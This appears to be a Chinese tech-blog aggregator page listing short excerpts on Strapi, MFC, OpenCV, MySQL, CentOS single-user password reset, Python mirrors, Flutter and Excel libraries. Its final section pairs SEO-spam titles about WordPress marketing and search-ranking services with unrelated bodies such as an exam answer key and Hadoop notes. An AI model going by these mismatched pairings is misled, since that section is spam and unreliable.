10分钟使用Strapi(无头CMS)生成基于Node.js的API接口,告别繁琐开发,保姆级教程,持续更新中。
一、什么是Strapi? Strapi 是一个开源的无头(headless) CMS,开发者可以自由选择他们喜欢的开发工具和框架,内容编辑人员使用自有的应用程序来管理和分发他们的内容。得益于插件系统,Strapi 是一个灵活的 C…...
创建插件 DLL 项目
Step 1: 创建插件 DLL 项目 在 Visual Studio 中创建一个新的 DLL 项目,并添加以下文件和代码。 头文件:CShapeBase.h cpp 复制代码 #pragma once #include <afxwin.h> // MFC 必需头文件 #include <string> #include <vector> #i…...
OpenCV双目相机外参标定C++
基于OpenCV库实现双目测量系统外参标定过程。通过分析双目测量系统左右相机拍摄的棋盘格标定板图像,包括角点检测、立体标定、立体校正和畸变校正的步骤,获取左右相机的相对位置关系和姿态。 a.检测每张图像中的棋盘格角点,并进行亚像素级精…...
【GESP】C++一级练习BCQM3055,4位数间隔输出
一级知识点取余、整除运算和格式化输出知识点应用。其实也可以用string去处理,那就属于GESP三级的知识点范畴了,孩子暂未涉及。 题目题解详见:https://www.coderli.com/gesp-1-bcqm3055/ https://www.coderli.com/gesp-1-bcqm3055/https://w…...
纯血鸿蒙的最难时刻才开始
关注卢松松,会经常给你分享一些我的经验和观点。 纯血鸿蒙(HarmonyOS NEXT)也正式发布了,绝对是一个历史性时刻,但最难的鸿蒙第二个阶段,也就是生态圈的建设,才刚刚开始。 目前,我劝你现在不要升级到鸿蒙…...
记一个mysql的坑
数据库表user, 存在一个name字段,字段为varchar类型 现在user表有这么两条记录: idnameageclass1NULL18一班2lisi20二班 假如我根据下面这一条件去更新,更新成功数据行显示为0 update user set age 19 where age 18 and class “一班”…...
Java中的设计模式:单例模式详解
摘要 单例模式(Singleton Pattern)是Java中最常用的设计模式之一,属于创建型模式。它的主要目的是确保一个类在系统中只有一个实例,并提供一个全局访问点来访问该实例。 1. 单例模式的定义 单例模式确保一个类只有一个实例&…...
NanoTrack原理与转tensorrt推理
文章目录 前言一、NanoTrack 工作原理二、运行demo与转换tensorrt模型2.1 运行pt模型demo2.2 转onnx模型2.3 转tensorrt模型2.4 运行trt模型推理 三、推理速度对比总结 前言 NanoTrack 是一种轻量级且高效的目标跟踪算法,基于Siamese网络架构,旨在在资源…...
YOLO11改进 | 卷积模块 | 卷积模块替换为选择性内核SKConv【附完整代码一键运行】
秋招面试专栏推荐 :深度学习算法工程师面试问题总结【百面算法工程师】——点击即可跳转 💡💡💡本专栏所有程序均经过测试,可成功执行💡💡💡 本文给大家带来的教程是将YOLO11的卷积替…...
CentOS进入单用户模式进行密码重置
一、单用户模式介绍 单用户模式是一种特殊的启动模式,主要用于系统维护和故障排除。在单用户模式下,系统以最小化的状态启动,只有最基本的系统服务会被加载,通常只有root用户可以登录。这种模式提供了对系统的完全控制࿰…...
bitpoke- mysql-operator cluster
sidecar版本只支持到8.0.35,35可以支持到mysql8.0.35 . 默认镜像是5.7的。需要自己打sidecar的镜像: # Docker image for sidecar containers # https://github.com/bitpoke/mysql-operator/tree/master/images/mysql-operator-sidecar-8.0 # 参考5…...
第5课 基本数据类型
一、数据类型的诞生 在Python的世界里,万物皆对象,每个对象都有自己的若干属性,每一个属性都能描述对象的某一个方面。就像我们每个人,都有自己的身高、年龄、姓名、性别等很多方面的信息,这里的身高、年龄、姓名、性…...
OceanBase 首席科学家阳振坤:大模型时代的数据库思考
2024年 OceanBase 年度大会 即将于10月23日,在北京举行。 欢迎到现场了解更多“SQL AI ” 的探讨与分享! 近期,2024年金融业数据库技术大会在北京圆满举行,聚焦“大模型时代下数据库的创新发展”议题,汇聚了国内外众多…...
国内知名的几个镜像源
在国内,有许多常用的Python库镜像源可以帮助加速库的下载。以下是几个知名的镜像源: 1. 清华大学TUNA协会 网址: https://pypi.tuna.tsinghua.edu.cn/simple命令示例:pip install numpy --index-url https://pypi.tuna.tsinghua.edu.cn/simple2. 阿里云…...
海外著名新闻门户媒体软文发稿之华盛顿独立报-大舍传媒
在当今全球化的时代,信息传播的速度和范围达到了前所未有的程度。对于企业和个人而言,如何在国际舞台上有效地展示自己、传递信息,成为了一项至关重要的任务。而海外媒体发稿,特别是通过像华盛顿独立报这样的知名新闻门户…...
青少年编程与数学 02-002 Sql Server 数据库应用 13课题、函数的编写
青少年编程与数学 02-002 Sql Server 数据库应用 13课题、函数的编写 课题摘要:一、函数内置函数用户定义的函数 (User-Defined Functions, UDFs)使用示例主要特点 二、内置函数数学函数(Mathematical Functions)字符串函数(String Functions…...
关于LaTeX的floatrow包导入后标题无法直接放到浮动体上方
排版一个文章,标题怎么弄都弄不到表格上方,经过阅读帮助文档才发现问题。又是一个坑。 标题位置控制 使用floatrow包之后,类似 \begin{table}[htbp]\caption{xxx。}\label{table1}\centering\begin{tabular}{lcccc}\toprule& \multicol…...
Flutter Image和Text图文组件实战案例
In this section, we’ll go through the process of building a user interface that showcases a product using the Text and Image widgets. We’ll follow Flutter’s best practices to ensure a clean and effective UI structure. 在本节中,我们将使用“Te…...
使用 xlrd 和 xlwt 库进行 Excel 文件操作
使用 xlrd 和 xlwt 库进行 Excel 文件操作 在数据分析和处理的过程中,Excel 文件是最常用的数据存储格式之一。Python 提供了多种库来处理 Excel 文件,其中 xlrd 和 xlwt 是两个经典的库,分别用于读取和写入 Excel 文件。本文将详细介绍如何使用这两个库进行 Excel 文件的操…...
wordpress 营销页面/怎样做竞价推广
福建师范大学网络与继续教育学院《计算机应用基础》期末考试A 卷姓名:专业:学号:学习中心:成绩:一、单项选择题(答案务必写在表格中,每小题1 分,共 30 分)12345678910CCCCBBCCAC111213141516171…...
如何拷贝网站代码/杭州百度整站优化服务
2019独角兽企业重金招聘Python工程师标准>>> 一、SequenceFile SequenceFile的存储类似于Log文件,所不同的是Log File的每条记录的是纯文本数据,而SequenceFile的每条记录是可序列化的字符数组。 SequenceFile可通过如下API来完成新记录的添…...
网站制作用到什么技术/哪个平台可以免费打广告
注册一个npm账户 1.项目生成package.json文件 npm init --y 2.获取关联的镜像 npm config get registry2.1 配置全局使用npm官方镜像源 npm config set registry https://registry.npmjs.org很多人因下包方便都配置为了https://registry.npm.taobao.org 3.发布 npm publ…...
网站开发 模块化/如何在百度发布广告
nagios客户端nrpe的安装 http://myhat.blog.51cto.com/391263/653363转载于:https://blog.51cto.com/6272283/1192830...
做网站可能遇到的困难/优化营商环境条例解读
###转载于:https://www.cnblogs.com/tinaluo/p/9278671.html...